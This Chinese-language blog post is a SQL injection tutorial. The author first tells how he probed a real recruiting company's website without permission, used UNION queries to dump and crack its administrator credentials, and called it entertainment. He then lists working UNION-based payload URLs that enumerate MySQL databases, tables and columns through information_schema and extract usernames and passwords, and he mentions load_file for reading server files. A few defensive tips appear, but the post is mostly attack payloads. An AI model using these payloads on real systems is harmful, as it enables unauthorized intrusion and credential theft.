SQL注入就是利用你語法或接受數據處理上的一些bug進行爆數據庫,然後下載你的數據或直接獲取你的管理員進入一些對網站有影響的操作,但在SQL注入中我們有那些bug給人利用呢,下面小編收集了一些初級與稍高級一點的方法,只共學習參考使用,其它一律不管。
最基本的sql注入漏洞方法
今天早上學院開了個會,說了些關於畢業實習與設計的安排之類的還有說明天有個企業來招聘,讓有興趣的人回去登錄他們公司的網站看看。paperen我當然是沒有這個興趣的啦,但是宿捨的小華同學就有點興趣,回來就上了他們的網站。但是……?
paperen我也瞅了幾眼,網站不咋的啊,asp的,也不知道為啥突然想也去踩踩,看看有沒有存在sql注入漏洞,登上他們的網站,看了幾個頁面,去到公司新聞那,有一條新聞url是xwzx_content.asp?id=456(很正常的傳值,根據id值去查數據庫並顯示相應的數據,也很合理),但是……?
paperen我將參數改為xwzx_content.asp?id=456 and 1=1試了試,發現與id=456顯示是一樣的。(並不能證明是否存在漏洞)?
然後又試試這個
代碼如下 復制代碼 xwzx_content.asp?id=456 and '1'='1結果是
提示錯誤由此可以判斷出存在漏洞,因為你可以在自己的數據庫隨便找個表來試試這個語句?
select * from table where id=1 and 1=1(某一條記錄的id號),其實加上and 1=1與不加是一樣的結果,因為1=1是true的,sql肯定可以執行過去,但如果你是1=2的話就不行了,因為很顯然1不等於2,為false所以查不到任何數據。?
然後繼續去構造語句xwzx_content.asp?id=456 or 1=1,結果是
得出這個結果也是很顯然的,因為or上一個1=1(ture)結果也是true的,無論你的id號為456這條數據是否存在都會查出所有數據記錄。?
從上面幾個操作就證實了sql注入漏洞確實在這個頁面存在,下面開始正式的注入爆出我們想得到的信息,主要是看你的RP。?
我們需要使用union聯合查詢出其管理密碼與賬號。當然前提是你要去猜出管理員那個表的名字。?
paperen我第一個想到的就是管理員,試試吧。
1.xwzx_content.asp?id=456?union select?* from 管理員結果是
提示字段數不匹配,那麼我們再去猜它的字段數吧
1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 from 管理員結果是
看來是猜對了,這個表中共有10個字段,其中4這個字段會被顯示到頁面中。可能大家不太明白這裡到底是什麼回事,paperen我不妨放出一個自己在mysql中的一個截圖。
1.sql命令是SELECT * FROM `paper_blog` WHERE id =1 UNION SELECT 1 , 2, 3, 4, 5, 6, 7, 8, 9, 10 FROM member
?
看到第二行的1,2,3,4,5了吧,反正自己領會領會吧,關於union這個聯合查詢不知道大家有沒有用過,簡單地說就是將別的表的數據都查詢過來。?
再來猜他放管理員賬號那個字段名,我就猜是name吧。
1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 from 管理員結果是
這就證明猜錯了,繼續猜叫管理員,嘻嘻,果然有了。
爆出管理員的賬號是管理員,再來爆他的密碼,就猜叫password吧。
1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 from 管理員結果是
密碼是32位的,應該是MD5加密的,ctrl+c一下到一些在線解MD5的網站一查,密碼竟然也是管理員……這安全意識也太差了吧。?
賬號有了密碼也有了,還差什麼?很明顯是後台地址,但是paperen我還是找不到啊,蒙不對地址,看到這裡不知道大家是不是有些少失望,唉,paperen我也有點,但是算了,我還要發表博文呢,先不花時間去碰了。反正這個網站給我的印象就是不太好,公司估計也不咋的吧。?
其實要入侵一個網站真的不是很容易的,要防入侵也是很不容易的,但是從上面說的這些可以看出某些觀點去防止出現這種很低級的錯誤。?
1.對get傳參的參數進行過濾與判斷
2.不要參照某些開源的程序的數據庫表或表名去建立自己的數據庫
3.要使用比較復雜的密碼,至少不要管理員,管理員888之類的
4.放後台文件的文件夾名字最好改得特別點,不要讓人輕易猜到
5.對於asp網站的數據庫文件最好改後綴為asp的,防止被下載?
稍微高級一點的SQL注入
還記得在“你是這樣處理來自$_GET的數據嗎 ”裡面寫到的那個SQL,
代碼如下 復制代碼 1.$sql = 'select * from goods where id='.$id;不對傳入來的數據進行任何過濾甚至不用單引號抱起來會導致的問題在那篇文章中已經說的比較明確了,如果您能猜到數據庫其他表的話還能查到其他表的內容,而這次paperen想說一些使用這個漏洞更高級的一個技巧。
假如你已經證實了此處存在漏洞,(怎樣證明?簡單來說分別測試一下將參數改為id=1=1與id=1=2再看頁面就能知道是否存在漏洞,如果顯示信息不一樣或出錯則證明存在漏洞),但是即使證實了有漏洞但猜不到其他表的表名怎辦。使用一個很邪惡的招數,先放出注入URL。
爆出目前數據庫名
1.URL:
代碼如下 復制代碼 http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM goods WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns然後將獲得數據庫test的hex值後再爆出該test數據庫中的表名(獲得test的hex值 select hex('test') 放到mysql中跑一下就可以看到結果了,74657374前面再加上0x,十六進制數)
1.URL:
代碼如下 復制代碼 http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns+AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1 , 2, 3, GROUP_CONCAT( DISTINCT table_name ) , 5, 6, 7, 8, 9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374然後在將表user的hex值放入去,查user表的字段,現在是DISTINCT(column_name)了,最好加上and如果有不止一個數據庫有user表的話可能得出的結果會誤導你。
1.URL:
代碼如下 復制代碼 http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns+WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374you see!已經一步步地獲得了我們想要的信息了,是不是有點意思呢?所以paperen說這種東西搞上來會上瘾的。
然後直接爆出他的user表的明碼。
代碼如下 復制代碼URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user2.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user
但是user表裡面可能不止一個用戶數據,那麼就加上limit吧
代碼如下 復制代碼 1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user+limit+1,12.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user limit 1,1然後將獲得的密碼拿去
破解獲得明碼,再知道後台路徑,使用用戶帳號與破解的密碼登陸到後台吧,但是paperen後面兩個步驟也是看你人品的,如果密碼被搞得比較復雜,你也很難破解,即使你破解了也得要找到後台地址。So……就到此為止了。就是娛樂一下。(PS:你還可以用load_file將服務器一些文件內容弄到,前提是你也要猜到文件的路徑)